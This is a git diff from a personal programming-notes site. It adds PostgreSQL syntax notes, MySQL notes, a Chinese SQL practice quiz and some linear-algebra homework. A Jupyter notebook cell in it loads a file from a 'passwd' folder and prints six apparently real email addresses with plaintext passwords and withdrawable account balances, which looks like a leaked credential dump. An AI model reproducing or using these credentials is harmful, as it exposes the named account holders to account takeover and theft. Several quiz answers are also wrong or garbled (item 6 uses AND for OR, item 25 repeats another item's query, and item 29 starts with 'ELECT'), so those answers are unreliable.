    " + ], + "text/plain": [ + " A_x B A_y\n", + "0 1.0 4 NaN\n", + "1 2.0 5 NaN\n", + "2 3.0 6 NaN\n", + "3 NaN 1 6.0\n", + "4 NaN 1 9.0\n", + "5 NaN 3 8.0" + ] + }, + "execution_count": 112, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "data1 = ({\"A\":[1,2,3], \"B\":[4,5,6]})\n", + "data2 = ({\"A\":[6,8,9], \"B\":[1,3,1]})\n", + "df1 = pd.DataFrame(data1)\n", + "df2 = pd.DataFrame(data2)\n", + "print(df1)\n", + "print(df2)\n", + "pd.merge(df1, df2, on=[\"B\"], how=\"outer\")" + ] + }, + { + "cell_type": "code", + "execution_count": 116, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
    \n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
    abcetc.
    0zombiesgotmytongue@gmail.comchuckyp1-----------------Balance32.01, Can WithdrawUS$32.01
    1abutler315@gmail.comannab123-----------------Balance2.00, Can WithdrawUS$2.00
    2saum.bhatnagar@gmail.comConfusedenbonzakhura--...9.87, Can WithdrawUS$9.87NaN
    3suchit143@gmail.comcomputer0143-----------------Balance1300, Can Withdraw\\u20b91,300
    4diana.kubasova@gmail.comlacitis3----------Balance9.63, Can Withdraw9,63\\u20ac
    5carwilliamson@gmail.comtomas1717----------Balance10.79, Can WithdrawUS$10.79
    \n", + "
    " + ], + "text/plain": [ + " a \\\n", + "0 zombiesgotmytongue@gmail.com \n", + "1 abutler315@gmail.com \n", + "2 saum.bhatnagar@gmail.comConfusedenbonzakhura--... \n", + "3 suchit143@gmail.com \n", + "4 diana.kubasova@gmail.com \n", + "5 carwilliamson@gmail.com \n", + "\n", + " b c etc. \n", + "0 chuckyp1-----------------Balance 32.01, Can Withdraw US$32.01 \n", + "1 annab123-----------------Balance 2.00, Can Withdraw US$2.00 \n", + "2 9.87, Can Withdraw US$9.87 NaN \n", + "3 computer0143-----------------Balance 1300, Can Withdraw \\u20b91,300 \n", + "4 lacitis3----------Balance 9.63, Can Withdraw 9,63\\u20ac \n", + "5 tomas1717----------Balance 10.79, Can Withdraw US$10.79 " + ] + }, + "execution_count": 116, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "\n", + "data = pd.read_csv('/Users/luo/Documents/code/python3/jupyter/passwd/new/Post3.txt',sep=\":\", header=None)\n", + "data.columns = [\"a\", \"b\", \"c\", \"etc.\"]\n", + "data\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.8.3" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/_posts/00CodeNote/language/SQL/11.md b/_posts/00CodeNote/language/SQL/11.md new file mode 100644 index 00000000000..36d18d4f3ee --- /dev/null +++ b/_posts/00CodeNote/language/SQL/11.md @@ -0,0 +1,52 @@ +## MATH401 Project 1 + +### Exercise 2.8 + +```cpp +M = [0.02 0.06 0.10;0 0.40 0.04;0.18 0.01 0.10]; +d = [200;180;175]; +inv(eye(3)-M)*d +ans = + 248.7364 + 316.5139 + 247.7085 +``` + +(b) Using the adjugate method calculate how production in sector 3 must change if the demand for sector 2 changes by +1. How about by +2? How about by −1? + +$$ +A=(I-M)= + \left[ + \begin{matrix} + 1 & 2 & 3 \\ + 4 & 5 & 6 \\ + 7 & 8 & 9 + \end{matrix} + \right] +$$ + +$$\begin{pmatrix}a & b\\\ c & d\end{pmatrix}$$ + +$A = (I-M) = eye(3)-M = [0.9800 -0.0600 -0.1000;0 0.6000 -0.0400;-0.1800 -0.0100 0.9000]$ + +```py +$$A_{32} -1 = (-1)^{2+3}*det(A_{23})/det(A)$$ +"210" +SUPERSCRIPT ZERO +'

    29th

    ' +md.render('29^th^') +$\sum_{i=1}^n X_i$ +``` + + +$\sum_{i=1}^n X_i$ + + +-1 + + +$det(A_{23})=det[0.9800 -0.600;-0.1800 -0.0100]= - 0.1178$ + +$det(A)=0.5176$ + +$A_{32}^{-1} = (-1)^{2+3}* -0.1178/0.5176=0.2276$ diff --git a/_posts/00CodeNote/language/SQL/2020-11-01-sql.md b/_posts/00CodeNote/language/SQL/2020-11-01-sql.md new file mode 100644 index 00000000000..ec78106754b --- /dev/null +++ b/_posts/00CodeNote/language/SQL/2020-11-01-sql.md @@ -0,0 +1,409 @@ +--- +title: SQL Syntax +# author: Grace JyL +date: 2020-11-01 11:11:11 -0400 +description: +excerpt_separator: +categories: [00CodeNote] +tags: [SQL] +math: true +# pin: true +toc: true +# image: /assets/img/note/tls-ssl-handshake.png +--- + + +# SQL Syntax + + +--- + +## 4.1. Lexical Structure +SQL input consists of a sequence of `commands`. +- A command is composed of a sequence of `tokens`, terminated by a semicolon (";"). +- The end of the input stream also terminates a command. +- Which tokens are valid depends on the syntax of the particular command. + +A token can be a key word, an identifier, a quoted identifier, a literal (or constant), or a special character symbol. +- Tokens are normally separated by whitespace (space, tab, newline), but need not be if there is no ambiguity (which is generally only the case if a special character is adjacent to some other token type). + +Additionally, comments can occur in SQL input. +- They are not tokens, they are effectively equivalent to whitespace. + +For example, the following is (syntactically) valid SQL input: + +```sql +SELECT * FROM MY_TABLE; +UPDATE MY_TABLE SET A = 5; +INSERT INTO MY_TABLE VALUES (3, 'hi there'); +``` + +This is a sequence of three commands, one per line +- (although this is not required; more than one command can be on a line, and commands can usefully be split across lines). + +The SQL syntax is not very consistent regarding what tokens identify commands and which are operands or parameters. +- The first few tokens are generally the command name ("SELECT", "UPDATE", and "INSERT") command. +- But for instance the `UPDATE command` always requires a `SET token` to appear in a certain position +- `INSERT` also requires a `VALUES` in order to be complete. + +--- + +## 4.1.1. Identifiers and Key Words + +key words +- Tokens `SELECT, UPDATE, or VALUES` are examples of key words +- words that have a fixed meaning in the SQL language. + +identifiers +- The tokens `MY_TABLE` and `A` are examples of identifiers. +- They identify names of tables, columns, or other database objects, depending on the command they are used in. +- Therefore they are sometimes simply called "names". + + +### SQL identifiers and key words + +SQL identifiers and key words +- have the same lexical structure, meaning that one cannot know whether a token is an identifier or a key word without knowing the language. +- must begin with `a letter` (a-z, letters with diacritical marks and non-Latin letters) or `an underscore (_)`. +- **Subsequent characters** in an identifier / key word can be `letters, underscores, digits (0-9), or dollar signs ($). ` + - Note that dollar signs are not allowed in identifiers according to the letter of the SQL standard, so their use may render applications less portable. +- The SQL standard will not define a key word that contains digits or starts or ends with an underscore, so identifiers of this form are safe against possible conflict with future extensions of the standard. + + +The system uses no more than NAMEDATALEN-1 characters of an identifier; +- longer names can be written in commands, but they will be truncated. +- By default, NAMEDATALEN is 64 so the maximum identifier length is 63. +- If this limit is problematic, it can be raised by changing the NAMEDATALEN constant in `src/include/postgres_ext.h`. + + +Identifier and key word names are **case insensitive** + +```sql +UPDATE MY_TABLE SET A = 5; +-- can equivalently be written as +uPDaTE my_TabLE SeT a = 5; +-- A convention often used is to write key words in upper case and names in lower case, +UPDATE my_table SET a = 5; +``` + +### second kind of identifier: delimited/quoted identifier + +There is a second kind of identifier: the `delimited identifier` or `quoted identifier`. +- It is formed by enclosing an arbitrary sequence of characters in double-quotes ("). +- A `delimited identifier` is always an identifier, never a key word. +- So `"select"` could be used to refer to a **column/table** `named "select"` +- whereas an unquoted select would be taken as a **key word** and would therefore provoke a parse error when used where a table or column name is expected. +- The example can be written with `quoted identifiers` like this: + +UPDATE "my_table" SET "a" = 5; + +`Quoted identifiers` can contain any character other than a double quote itself. +- (To include a double quote, write two double quotes.) +- This allows constructing table or column names that would otherwise not be possible, such as ones containing spaces or ampersands. The length limitation still applies. + +Quoting an identifier also makes it case-sensitive, whereas unquoted names are always folded to lower case. +- For example, +- the identifiers `FOO`, `foo`, and `"foo"` are considered the same by PostgreSQL, +- but `"Foo"` and `"FOO"` are different from these three and each other. +- (The folding of unquoted names to lower case in PostgreSQL is incompatible with the SQL standard, which says that unquoted names should be folded to upper case. Thus, foo should be equivalent to "FOO" not "foo" according to the standard. If you want to write portable applications you are advised to always quote a particular name or never quote it.) + +--- + +## 4.1.2. Constants + +There are three kinds of implicitly-typed constants in PostgreSQL: `strings, bit strings, and numbers`. +- Constants can also be specified with explicit types, which can enable more accurate representation and more efficient handling by the system. + + +### 4.1.2.1. String Constants `'It''s a string'` + +A **string constant** in SQL +- an arbitrary sequence of characters bounded by `single quotes (')` + - `'This is a string'`. +- To write a single-quote character within a string constant: write `two adjacent single quotes` + - `'Dianne''s horse'`. +- PostgreSQL also allows single quotes to be escaped with a backslash (\'). +- However, future versions of PostgreSQL will not allow this, so applications using backslashes should convert to the standard-compliant method outlined above. + +Another PostgreSQL extension is that C-style backslash escapes are available: +- `\b` is a backspace, `\f` is a form feed, `\n` is a newline, `\r` is a carriage return, `\t` is a tab. +- Also supported is `\digits`, where digits represents an octal byte value, and `\xhexdigits`, where hexdigits represents a hexadecimal byte value. (It is your responsibility that the byte sequences you create are valid characters in the server character set encoding.) +- Any other character following a backslash is taken literally. +- Thus, to include a backslash in a string constant, write two backslashes. + +> Note: While ordinary strings now support C-style backslash escapes, future versions will generate warnings for such usage and eventually treat backslashes as literal characters to be standard-conforming. +> The proper way to specify escape processing is to use the escape string syntax to indicate that escape processing is desired. +> `Escape string syntax`: writing the letter E (upper or lower case) before the string, +> - e.g. E'\041'. +> +> This method will work in all future versions of PostgreSQL. + + +The character with the code zero cannot be in a string constant. + +Two **string constants** that are only separated by `whitespace` with at least `one newline` are concatenated and effectively treated as if the string had been written in one constant. + +```sql +SELECT 'foo' +'bar'; +-- equivalent to +SELECT 'foobar'; +-- but +SELECT 'foo' 'bar'; +-- is not valid syntax. +-- (This slightly bizarre behavior is specified by SQL; PostgreSQL is following the standard.) +``` + +--- + +### 4.1.2.2. Dollar-Quoted String Constants + +the standard syntax for specifying string constants is convenient +- but it can be difficult to understand when the desired string contains many single quotes or backslashes, since each of those must be doubled. +- To allow more readable queries in such situations, PostgreSQL provides another way, called `"dollar quoting"`, to write string constants. +- A **dollar-quoted string constant** consists of + - a `dollar sign ($)`, + - an `optional "tag" of zero or more characters`, + - another `dollar sign`, + - an `arbitrary sequence of characters that makes up the string content`, + - a `dollar sign`, + - the `same tag that began this dollar quote`, + - and a `dollar sign`. + + +For example +- two different ways to specify `the string "Dianne's horse"` using dollar quoting: + + +```postgresql +$$Dianne's horse$$ +$SomeTag$Dianne's horse$SomeTag$ +``` + + +inside the dollar-quoted string +- single quotes can be used without needing to be escaped. +- Indeed, no characters inside a dollar-quoted string are ever escaped: the string content is always written literally. +- Backslashes are not special, and neither are dollar signs, unless they are part of a sequence matching the opening tag. + +It is possible to nest dollar-quoted string constants by choosing different tags at each nesting level. +- This is most commonly used in writing function definitions. +- For example: + +```sql +$function$ +BEGIN + RETURN ($1 ~ $q$[\t\r\n\v\\]$q$); +END; +$function$ + +-- the sequence $q$[\t\r\n\v\\]$q$ represents a dollar-quoted literal string [\t\r\n\v\\], which will be recognized when the function body is executed by PostgreSQL. +-- But since the sequence does not match the outer dollar quoting delimiter $function$, it is just some more characters within the constant so far as the outer string is concerned. +``` + +The **tag** of a dollar-quoted string +- follows the same rules as an unquoted identifier, except that it cannot contain a dollar sign. +- Tags are case sensitive, + - so `$tag$String content$tag$` is correct, + - but `$TAG$String content$tag$` is not. + + +A **dollar-quoted string** that follows a **keyword/identifier** must be separated from it by `whitespace`; otherwise the dollar quoting delimiter would be taken as part of the preceding identifier. + +Dollar quoting is not part of the SQL standard, but it is often a more convenient way to write complicated string literals than the standard-compliant single quote syntax. +- It is particularly useful when representing string constants inside other constants, as is often needed in procedural function definitions. +- With single-quote syntax, each backslash in the above example would have to be written as four backslashes, which would be reduced to two backslashes in parsing the original string constant, and then to one when the inner string constant is re-parsed during function execution. + +--- + +### 4.1.2.3. Bit-String Constants +**Bit-string constants** +- look like regular string constants with a `B (upper or lower case) before the opening quote (no intervening whitespace)` + - `B'1001'`. + - The only characters allowed within bit-string constants are `0` and `1`. +- bit-string constants can be specified in hexadecimal notation + - using a leading X (upper or lower case) + - `X'1FF'`. + - This notation is equivalent to a bit-string constant with four binary digits for each hexadecimal digit. +- Both forms of bit-string constant can be continued across lines in the same way as regular string constants. Dollar quoting cannot be used in a bit-string constant. + +--- + +### 4.1.2.4. Numeric Constants +Numeric constants are accepted in these general forms: +- where digits is one or more decimal digits (0 through 9). +- At least one digit must be before or after the decimal point, if one is used. +- At least one digit must follow the exponent marker (e), if one is present. +- There may not be any spaces or other characters embedded in the constant. +- Note that any leading plus or minus sign is not actually considered part of the constant; it is an operator applied to the constant. + +These are some examples of valid numeric constants: + +```sql +digits +digits.[digits][e[+-]digits] +[digits].digits[e[+-]digits] +digitse[+-]digits + +42 +3.5 +4. +.001 +5e2 +1.925e-3 +``` + +- A numeric constant that contains `decimal point/exponent` +- is initially presumed to be `type integer` if its value fits in type integer (32 bits); +- is presumed to be `type bigint` if its value fits in type bigint (64 bits); +- otherwise it is taken to be `type numeric`. +- Constants that contain decimal points and/or exponents are always initially presumed to be type numeric. + + +The initially assigned data type of a numeric constant is just a starting point for the type resolution algorithms. +- In most cases the constant will be automatically coerced to the most appropriate type depending on context. When necessary, you can force a numeric value to be interpreted as a specific data type by casting it. +- For example, +- force a numeric value to be treated as type real (float4) by writing + +```sql +REAL '1.23' -- string style +1.23::REAL -- PostgreSQL (historical) style +``` + +These are actually just special cases of the general casting notations discussed next. + +### 4.1.2.5. Constants of Other Types + +The `string constant's text` is passed to the input conversion routine for the `type` called type. +- The result is a constant of the indicated type. +- The explicit type cast may be omitted if there is no ambiguity as to the type the constant must be (for example, when it is assigned directly to a table column), in which case it is automatically coerced. +- The string constant can be written using either regular SQL notation or dollar-quoting. + +A constant of an arbitrary type can be entered using any one of the following notations: + +```sql +type 'string' +'string'::type +CAST ( 'string' AS type ) + +-- It is also possible to specify a type coercion using a function-like syntax: +typename ( 'string' ) +-- but not all type names may be used in this way; see Section 4.2.8 for details. +``` + +The `::`, `CAST()`, and `function-call` syntaxes +- can also be used to specify **run-time type conversions of arbitrary expressions** + +`type 'string'` +- can only be used to specify the type of a **literal constant**. +- Another restriction is that it does not work for `array types`; +- use `::` or `CAST()` to specify the type of an array constant. + +syntax +- The `CAST() syntax` conforms to SQL. +- The `type 'string' syntax` is a generalization of the standard: SQL specifies this syntax only for a few data types, but PostgreSQL allows it for all types. +- The `:: syntax` is historical PostgreSQL usage, as is the function-call syntax. + +--- + +## 4.1.3. Operators + +An operator name is a sequence of up to NAMEDATALEN-1 (63 by default) characters from the following list: + +`+ - * / < > = ~ ! @ # % ^ & | ?` + +There are a few restrictions on operator names, however: +`-- and /*` cannot appear anywhere in an operator name, since they will be taken as the start of a comment. + +A multiple-character operator name cannot end in `+ or -`, unless the name also contains at least one of these characters: + +`~ ! @ # % ^ & | ?` + +For example +- `@-` is an allowed operator name, but `*-` is not. +- This restriction allows PostgreSQL to parse SQL-compliant queries without requiring spaces between tokens. +- When working with non-SQL-standard operator names, you will usually need to separate adjacent operators with spaces to avoid ambiguity. +- For example, if you have defined a left unary operator named `@`, you cannot write `X*@Y`; you must write `X* @Y` to ensure that PostgreSQL reads it as two operator names not one. + +--- + +## 4.1.4. Special Characters + +Some characters that are not alphanumeric have a special meaning that is different from being an operator. + + +A dollar sign ($) followed by digits is used to represent a positional parameter in the body of a function definition or a prepared statement. In other contexts the dollar sign may be part of an identifier or a dollar-quoted string constant. + +Parentheses (()) have their usual meaning to group expressions and enforce precedence. In some cases parentheses are required as part of the fixed syntax of a particular SQL command. + +Brackets ([]) are used to select the elements of an array. See Section 8.10 for more information on arrays. + +Commas (,) are used in some syntactical constructs to separate the elements of a list. + +The semicolon (;) terminates an SQL command. It cannot appear anywhere within a command, except within a string constant or quoted identifier. + +The colon (:) is used to select "slices" from arrays. (See Section 8.10.) In certain SQL dialects (such as Embedded SQL), the colon is used to prefix variable names. + +The asterisk `(*)` is used in some contexts to denote all the fields of a table row or composite value. It also has a special meaning when used as the argument of the COUNT aggregate function. + +The period (.) is used in numeric constants, and to separate schema, table, and column names. + +--- + +## 4.1.5. Comments +A comment is an arbitrary sequence of characters beginning with double dashes and extending to the end of the line, e.g.: + +```sql +-- This is a standard SQL comment + +Alternatively, C-style block comments can be used: +/* multiline comment + * with nesting: /* nested block comment */ +``` + +where the comment begins with `/* `and extends to the matching occurrence of `*/`. These block comments nest, as specified in the SQL standard but unlike C, so that one can comment out larger blocks of code that may contain existing block comments. + +A comment is removed from the input stream before further syntax analysis and is effectively replaced by whitespace. + +--- + +## 4.1.6. Lexical Precedence + + +![Screen Shot 2020-11-01 at 14.24.33](https://i.imgur.com/wpC9tYx.png) + +Table 4-1 shows the precedence and associativity of the operators in PostgreSQL. +- Most operators have the same precedence and are left-associative. +- The precedence and associativity of the operators is hard-wired into the parser. +- This may lead to non-intuitive behavior; +- for example +- the Boolean operators `< and >` have a different precedence than the Boolean operators `<= and >=`. +- Also, you will sometimes need to add parentheses when using combinations of binary and unary operators. For instance + +```sql +SELECT 5 ! - 6; +-- will be parsed as +SELECT 5 ! (- 6); + +-- because the parser has no idea that ! is defined as a postfix operator, not an infix one. + +-- To get the desired behavior in this case +SELECT (5 !) - 6; +``` + +Note that the operator precedence rules also apply to user-defined operators that have the same names as the built-in operators mentioned above. For example, if you define a "+" operator for some custom data type it will have the same precedence as the built-in "+" operator, no matter what yours does. + +When a schema-qualified operator name is used in the OPERATOR syntax, as for example in + +```sql +SELECT 3 OPERATOR(pg_catalog.+) 4; +``` + +the OPERATOR construct is taken to have the default precedence shown in Table 4-1 for "any other" operator. This is true no matter which specific operator name appears inside OPERATOR(). + + +--- + +ref +- [Chapter 4. SQL Syntax](https://www.postgresql.org/docs/8.1/sql-syntax.html) +- [SQL UDTFs (User-Defined Table Functions)](https://docs.snowflake.com/en/sql-reference/udf-table-functions.html) diff --git a/_posts/00CodeNote/language/SQL/Q.databasequiz.md b/_posts/00CodeNote/language/SQL/Q.databasequiz.md new file mode 100644 index 00000000000..2ad965ce7c1 --- /dev/null +++ b/_posts/00CodeNote/language/SQL/Q.databasequiz.md @@ -0,0 +1,125 @@ +# database 题目: + +1. 查询Student表中的所有记录的Sname. Ssex和Class列。 +2. 查询教师所有的单位即不重复的Depart列。 +3. 查询Student表的所有记录。 +4. 查询Score表中成绩在60到80之间的所有记录。 +5. 查询Score表中成绩为85,86或88的记录。 +6. 查询Student表中“95031”班或性别为“女”的同学记录。 +`select * from STUDENT where SSEX='女'and CLASS='95031';` + +7. 以Class降序查询Student表的所有记录。 +`select * from STUDENT ORDER BY class DESC;` + +8. 以Cno升序. Degree降序查询Score表的所有记录。 +`SELECT * FROM SCORE ORDER BY CNO ASC,DEGREE DESC;` + +9. 查询“95031”班的学生人数。 +`select class, count(sno) from STUDENT where class='95031';` + +1. 查询Score表中的最高分的学生学号和课程号。 +`SELECT SNO,CNO FROM SCORE where degree =(SELECT max(DEGREE) FROM SCORE);` +`SELECT SNO,CNO FROM SCORE ORDER BY DEGREE DESC LIMIT 1;` +11. 查询‘3-105’号课程的平均分。 +`SELECT avg(degree) FROM SCORE where CNO ='3-105';` +12. 查询Score表中至少有5名学生选修的并以3开头的课程的平均分数。 + +``` +select avg(degree), cno from score +where cno like '3%'group by cno +having count(sno)>= 5; +``` +13. 查询最低分大于70,最高分小于90的Sno列。 +`SELECT sno FROM SCORE group by SNO HAVING max(degree)<90 and min(degree)>70 ;` +14. 查询所有学生的Sname. Cno和Degree列。 +`SELECT sname,cno,DEGREE from STUDENT,SCORE where student.sno=score.sno;` +`SELECT A.SNAME,B.CNO,B.DEGREE FROM STUDENT AS A JOIN SCORE AS B ON A.SNO=B.SNO;` +15. 查询所有学生的Sno. Cname和Degree列。 +`SELECT A.CNAME, B.SNO,B.DEGREE FROM COURSE AS A JOIN SCORE AS B ON A.CNO=B.CNO ;` +16. 查询所有学生的Sname. Cname和Degree列。 +`SELECT A.SNAME,B.CNAME,C.DEGREE FROM STUDENT A JOIN (COURSE B,SCORE C) ON A.SNO=C.SNO AND B.CNO =C.CNO;` +17. 查询“95033”班所选课程的平均分。 +`SELECT AVG(A.DEGREE) FROM SCORE A JOIN STUDENT B ON A.SNO = B.SNO WHERE B.CLASS='95033';` +18. 假设使用如下命令建立了一个grade表: +create table grade(low number(3,0), upp number(3),rank char(1)); +insert into grade values(90,100,'A'); +insert into grade values(80,89,'B'); +insert into grade values(70,79,'C'); +insert into grade values(60,69,'D'); +insert into grade values(0,59,'E'); +commit; + +现查询所有同学的Sno. Cno和rank列。 +`SELECT A.sno,A.cno,B.rank from SCORE as A JOIN grade AS B;` + +19. 查询选修“3-105”课程的成绩高于“109”号同学成绩的所有同学的记录。 +`SELECT * from STUDENT WHERE sno in (SELECT SNO from SCORE where cno='3-105' and degree>(SELECT degree from SCORE where sno=109 and cno='3-105'));` +`SELECT A.* FROM SCORE A JOIN SCORE B WHERE A.CNO='3-105' AND A.DEGREE>B.DEGREE AND B.SNO='109' AND B.CNO='3-105';` + +20. 查询score中选学一门以上课程的同学中分数为非最高分成绩的记录。 +`select * from SCORE where degree<(SELECT max(degree) from SCORE) GROUP BY SNO having count(cno)>1 order by degree;` + +21. 查询成绩高于学号为“109”. 课程号为“3-105”的成绩的所有记录。 +`select * FROM SCORE WHERE degree>(SELECT degree from SCORE where sno=109 and cno='3-105');` + +22. 查询和学号为108的同学同年出生的所有学生的Sno. Sname和Sbirthday列。 +`select sno,sname,sbirthday from STUDENT WHERE SBIRTHDAY=(SELECT SBIRTHDAY from STUDENT WHERE sno=108);` + +23. 查询“张旭“教师任课的学生成绩。 +`SELECT sno,degree from SCORE WHERE cno=(SELECT cno FROM COURSE WHERE TNO=(SELECT tno from TEACHER WHERE tname=='张旭'));` +`SELECT A.SNO,A.DEGREE FROM SCORE A JOIN (TEACHER B,COURSE C) ON (A.CNO=C.CNO AND B.TNO=C.TNO) WHERE B.TNAME='张旭';` + +24. 查询选修某课程的同学人数多于5人的教师姓名。 +`SELECT A.tname FROM TEACHER A JOIN (COURSE B, SCORE C) ON (A.tno=B.tno and B.cno=c.cno) group by c.cno having count(c.sno)>5;` + +25. 查询95033班和95031班全体学生的记录。 +`SELECT cno FROM SCORE WHERE degree>85 group by CNO;` +26. 查询存在有85分以上成绩的课程Cno. +`SELECT cno FROM SCORE WHERE degree>85 group by CNO;` +`SELECT CNO FROM SCORE GROUP BY CNO HAVING MAX(DEGREE)>85;` + +27. 查询出“计算机系“教师所教课程的成绩表。 +`SELECT A.* from SCORE A JOIN (COURSE b, TEACHER C) ON (A.cno=B.cno and B.TNO=C.tno) WHERE C.depart='计算机系';` +`SELECT * from score where cno in (select a.cno from course a join teacher b on a.tno=b.tno and b.depart='计算机系');` +//此时2略好于1,在多连接的境况下性能会迅速下降 + +28. 查询“计算机系”与“电子工程系“不同职称的教师的Tname和Prof。 + +29. 查询选修编号为“3-105“课程且成绩至少高于选修编号为“3-245”的同学的Cno. Sno和Degree,并按Degree从高到低次序排序。 +`ELECT cno,sno,degree FROM SCORE where CNO='3-105' AND degree>(SELECT degree FROM SCORE where cno='3-245') ORDER BY degree desc;` +`SELECT cno,sno,degree FROM SCORE WHERE DEGREE>ALL(SELECT DEGREE FROM SCORE WHERE CNO='3-245') ORDER BY DEGREE DESC;` + +30. 查询选修编号为“3-105”课程且成绩高于选修编号为“3-245”课程的同学的Cno. Sno和Degree. +`SELECT * FROM SCORE WHERE DEGREE>ALL(SELECT DEGREE FROM SCORE WHERE CNO='3-245') ORDER BY DEGREE DESC;` + +31. 查询所有教师和同学的name. sex和birthday. + +``` +SELECT SNAME AS NAME, SSEX AS SEX, SBIRTHDAY AS BIRTHDAY FROM STUDENT +UNION +SELECT TNAME AS NAME, TSEX AS SEX, TBIRTHDAY AS BIRTHDAY FROM TEACHER; +``` + +32. 查询所有“女”教师和“女”同学的name. sex和birthday. + +``` +SELECT sname AS name, ssex AS sex, sbirthday as birthday FROM STUDENT WHERE ssex='女' +UNION +SELECT tname AS name, tsex AS sex, tbirthday as birthday FROM TEACHER WHERE tsex='女'; +``` + +33. 查询成绩比该课程平均成绩低的同学的成绩表。 +`SELECT A.* FROM SCORE A WHERE DEGREE<(SELECT AVG(DEGREE) FROM SCORE B WHERE A.CNO=B.CNO);` + +34. 查询所有任课教师的Tname和Depart. +35 查询所有未讲课的教师的Tname和Depart. +36. 查询至少有2名男生的班号。 +37. 查询Student表中不姓“王”的同学记录。 +38. 查询Student表中每个学生的姓名和年龄。 +39. 查询Student表中最大和最小的Sbirthday日期值。 +40. 以班号和年龄从大到小的顺序查询Student表中的全部记录。 +41. 查询“男”教师及其所上的课程。 +42. 查询最高分同学的Sno. Cno和Degree列。 +43. 查询和“李军”同性别的所有同学的Sname. +44. 查询和“李军”同性别并同班的同学Sname. +45. 查询所有选修“计算机导论”课程的“男”同学的成绩表 diff --git a/_posts/00CodeNote/language/SQL/SQL.0.1.Fragment.md b/_posts/00CodeNote/language/SQL/SQL.0.1.Fragment.md new file mode 100644 index 00000000000..2ba07cd356b --- /dev/null +++ b/_posts/00CodeNote/language/SQL/SQL.0.1.Fragment.md @@ -0,0 +1,1666 @@ +# SQL + +[TOC] + +# basic SQL + + +## SQL + +SQL statements usually are divided into two categories: + +* Data Definition Language (DDL) + * define relation/table structures including the schema for each relation, the domain of values associated with each attribute, and integrity constraints. + * Example, CREATE DATABASE, ALTER DATABASE, DROP DATABASE, CREATE TABLE, ALTER TABLE, DROP TABLE, TRUNCATE TABLE, and so on. + * DDL statements do `COMMIT` automatically +* Data Manipulation Language (DML) + * used to *retrieve, insert, update, and delete* data in database. + * Example, SELECT, INSERT, UPDATE, DELETE, and MERGE + * DML may not do a COMMIT automatically in some RDBMS, like Oracle. + * have to explicitly issue the `COMMIT` statement + + + +## database security +https://www.aseatw.com/html/Present.aspx?id=DatabaseFundamentals&num=26 + +the first line of database for a database: + +* **change the default user password** immediately +* **lock** unused user account. +* **enforce** stronger passwords. +* **remove** public accounts, or all access from all accounts. +* **choose** *domain authentication* or *database authentication* for your database users, and stick with it. +* **Examine** roles and groups closely. +* **Protect** administrative functions from users. +* **divide** database admin duties. + + + +# mysql +table - database - server + +## for database + +### choose database: + +mysql> `show databases`; ++--------------------+ +| Database | ++--------------------+ +| information_schema | +| first | +| mysql | +| performance_schema | +| sys | ++--------------------+ +5 rows in set (0.02 sec) + +mysql> `use` test1; +database changed + +mysql> `show tables`; ++-----------------+ +| Tables_in_first | ++-----------------+ +| parrots | +| student | ++-----------------+ +2 rows in set (0.00 sec) + +### create database +mysql> `create database` test0 `charset utf8`; +Query OK, 1 row affected (0.01 sec) + +mysql> `show tables`; +Empty set (0.00 sec) + +### drop database +mysql> `drop database` test0; +Query OK, 0 rows affected (0.03 sec) + +### change name? +mysql数据库不能改名 +只能呢该表,列名字 + +## for table +### create table +建表其实就是声明表头列的过程 + +mysql> `create table` stu( +id `int`, +name `varchar(10)`) +`engine myisam charset utf8`; +Query OK, 0 rows affected (0.04 sec) + +mysql> `show tables`; ++-----------------+ +| Tables_in_test1 | ++-----------------+ +| stu | ++-----------------+ +1 row in set (0.00 sec) + +#### 三大列类型 + +* 数值类型 + * 整型: 字节越多,存的范围越大。 + * int默认是有符号的。 + * *unsigned*:无符号, 无正负[0,255] + * *M*: 必须跟zerofill才有意义,单独使用无意义。表示补0的宽度 + * *zerofill*: 补0,默认unsigned。 + * **tinyint**:1字节,正负[-128,+127] 或 无正负[0,255] + * 1 byte = 8 bits, 00000000 - 111111111 + * 计算机为了表示正负数,最高位最左侧的0/1当成符号。 + * 用补码规则 + * 0 0000000 = 0 + * 0 1111111 = 127 + * 1 0000000 = -1 + * 1 1111111 = 128 + * [-2^7,2^7-1] + * **smallint**:2字节,16bits,3万 + * [-2^15,2^15-1] + * **mediumint**:3字节,800+万 + * **int**:4字节,40+亿 + * **bigint**:8字节 + * XX `int` not null default 0; + * XX `int` `(5)` `zerofill` not null default 0; + + * 浮点数: + * **float (M,D)**: + * **decimal (M,D)**:定点 + * M:精度,总位数, D: 标度,小数点后面 + * 正负的9999.99 + * `XX decimal(6,2)` 总共6位数,小数点后1位,正负都可以。 + * float 能存10^38,10^-38. + * M<=24 4bytes, xor 8 bytes + * 定点是把整数部分和小数部分分开存的,比float精确。float取出时有可能不一样!!像账户银行敏感的,建议用decimal。 + +mysql> `insert into` account values + -> (1, 1234567.23,1234567.23); +Query OK, 1 row affected (0.00 sec) + +mysql> `select` * `from` account; ++----+------------+------------+ +| id | acc1 | acc2 | ++----+------------+------------+ +| 1 | 1234567.25 | 1234567.23 | ++----+------------+------------+ +2 rows in set (0.00 sec) + +* 字符串型 + * *M 限制的是字符数不是字节,6个utf8或其他任何都是6个*。 + * **char(M)** 定长字符串 M,[0,255] + * 存储定长,容易计算文件指针的移动量,*速度更快* + * 不论够不够长,实际都占据N个长度 + * char(N),如果不够N个长度,用空格在末尾补齐长度 + * 取出时再把右侧空格去掉(*字符串本身右侧有空格将会丢失*) + * 